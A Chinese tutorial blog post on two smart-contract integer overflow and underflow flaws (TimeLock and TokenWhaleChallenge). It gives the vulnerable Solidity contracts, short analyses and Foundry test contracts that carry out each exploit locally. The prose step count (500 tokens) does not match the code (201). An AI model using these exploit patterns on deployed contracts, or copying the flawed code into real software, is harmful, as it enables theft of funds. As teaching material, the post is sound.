区块链安全常见的攻击——整数溢出漏洞(Integrate Overflow)和 代币溢出漏洞(Token Whale Overflow)【1】

区块链安全常见的攻击合约和简单复现,附带详细分析——整数溢出漏洞(Integrate Overflow)和 代币溢出漏洞(Token Whale Overflow)【1】

1、整数溢出漏洞(Integrate Overflow)

1.1 漏洞合约

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease; // vulnerable
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(
            block.timestamp > lockTime[msg.sender],
            "Lock time not expired"
        );

        uint amount = balances[msg.sender];
        
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

1.2 bug分析

漏洞就在increaseLockTime函数中,
在这里插入图片描述
函数的原意图是用户可以增加资金锁定时间
通过mapping(address => uint) public lockTime;
可知lockTime[msg.sender]是uint函数,当值超过uint上限时就会从0开始

1.3 攻击分析

只要传入uint的最大值减去lockTime[msg.sender]当前的值,再加上1就会使得lockTime[msg.sender]归0

// 利用漏洞进行攻击
        TimeLockContract.increaseLockTime(
            type(uint).max + 1 - TimeLockContract.lockTime(bob)
        ); // 通过溢出将 Bob 的锁定时间重置为 0

在这里插入图片描述

1.4 攻击完整代码


contract ContractTest is Test {
    TimeLock TimeLockContract; // TimeLock 合约实例
    address alice; // Alice 地址
    address bob; // Bob 地址

    // 设置测试环境
    function setUp() public {
        TimeLockContract = new TimeLock();
        alice = vm.addr(1); // 设置 Alice 地址
        bob = vm.addr(2); // 设置 Bob 地址
        vm.deal(alice, 1 ether); // 为 Alice 分配 1 Ether
        vm.deal(bob, 1 ether); // 为 Bob 分配 1 Ether
    }

    // 测试整数溢出漏洞
    function testOverflow() public {
        console.log("Alice init balance", alice.balance); // 打印 Alice 的初始余额
        console.log("Bob init balance", bob.balance); // 打印 Bob 的初始余额

        console.log("Alice deposit 1 Ether...");
        vm.prank(alice); // 将操作更改为 Alice 发起
        TimeLockContract.deposit{value: 1 ether}(); // Alice 存入 1 Ether
        console.log("Alice balance", alice.balance); // 打印 Alice 存款后的余额

        console.log("Bob deposit 1 Ether...");
        vm.startPrank(bob); // 开始模拟 Bob 的操作
        TimeLockContract.deposit{value: 1 ether}(); // Bob 存入 1 Ether
        console.log("Bob balance", bob.balance); // 打印 Bob 存款后的余额

        console.log("Bob start attack !!!! "); // 打印 Bob 存款后的余额

        // 利用漏洞进行攻击
        TimeLockContract.increaseLockTime(
            type(uint).max + 1 - TimeLockContract.lockTime(bob)
        ); // 通过溢出将 Bob 的锁定时间重置为 0

        // console.log(
        //     "Bob will successfully withdraw, because the lock time is overflowed"
        // );
        TimeLockContract.withdraw(); // Bob 成功提取 1 Ether
        console.log("after attack, Bob balance", bob.balance); // 打印 Bob 提款后的余额
        vm.stopPrank(); // 结束模拟 Bob 的操作

        vm.prank(alice);
        console.log(
            "Alice will fail to withdraw, because the lock time did not expire"
        );
        TimeLockContract.withdraw(); // Alice 提现失败,因为锁定时间尚未到期
    }
}

2、 代币巨鲸溢出漏洞(Token Whale Overflow)

2.1漏洞合约


contract TokenWhaleChallenge {
    address player;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    string public name = "Simple ERC20 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    function TokenWhaleDeploy(address _player) public {
        player = _player;
        totalSupply = 1000;
        balanceOf[player] = 1000;
    }

    function isComplete() public view returns (bool) {
        return balanceOf[player] >= 1000000;
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    function _transfer(address to, uint256 value) internal {
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;

        emit Transfer(msg.sender, to, value);
    }

    function transfer(address to, uint256 value) public {
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);

        _transfer(to, value);
    }

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function approve(address spender, uint256 value) public {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
    }

    function transferFrom(address from, address to, uint256 value) public {
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        require(allowance[from][msg.sender] >= value);

        allowance[from][msg.sender] -= value;
        _transfer(to, value);
    }
}

2.2 bug分析

函数功能是:允许被授权的地址调用transferFrom函数,转移代币
当被授权地址的金额小于转账金额,就会导致整数下溢,金额变得非常大。
注意:这里跟ERC20不太一样,这里是被授权地址转移自己的代币,而ERC20是被授权地址转移授权地址的代币。
在这里插入图片描述

2.3 攻击过程

  1. 部署合约后,部署者会收到 1000 个代币。
  2. 部署者将 800 个代币转给 Alice,部署着剩下200个。
  3. Alice 授权攻击者可以使用 1000 个代币,假设这里的攻击者就是部署者。
  4. 攻击者调用 transferFrom 函数,转移 500 个代币到 Bob。
  5. _transfer 函数的减法操作中,由于 攻击者 的余额不足,导致整数下溢。
  6. 下溢会使 攻击者 的余额变成一个极大的正数,从而“凭空”创造代币。

2.4 攻击合约

contract ContractTest is Test {
    TokenWhaleChallenge TokenWhaleChallengeContract;

    function testOverflow2() public {
        // Alice 和 Bob 的地址
        address alice = vm.addr(1);
        address bob = vm.addr(2);
        console.log("address(this): ", address(this));
        console.log("address(alice): ", address(alice));
        console.log("address(bob): ", address(bob));

        // 部署 TokenWhaleChallenge 合约
        TokenWhaleChallengeContract = new TokenWhaleChallenge();
        TokenWhaleChallengeContract.TokenWhaleDeploy(address(this)); // 初始化合约
        console.log(
            "Player balance:",
            TokenWhaleChallengeContract.balanceOf(address(this))
        );

        // 部署者将 800 个代币转给 Alice
        TokenWhaleChallengeContract.transfer(address(alice), 800);
        console.log(
            "Player balance:",
            TokenWhaleChallengeContract.balanceOf(address(this))
        );
        console.log(
            "alice balance:",
            TokenWhaleChallengeContract.balanceOf(address(alice))
        );
        // Alice 授权攻击者可以操作 1000 个代币
        vm.prank(alice); // 使得下面这句代码的调用者是alice
        TokenWhaleChallengeContract.approve(address(this), 1000);

        // 利用漏洞进行攻击:通过 transferFrom 函数触发下溢
        TokenWhaleChallengeContract.transferFrom(
            address(alice),
            address(bob),
            201
        ); // 攻击发生在这里
        console.log(
            "after attack, alice balance:",
            TokenWhaleChallengeContract.balanceOf(address(alice))
        );
        console.log("Exploit completed, balance overflowed");
        console.log(
            "Player balance:",
            TokenWhaleChallengeContract.balanceOf(address(this))
        );
    }

    // 接受以太币的回退函数
    receive() external payable {}
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值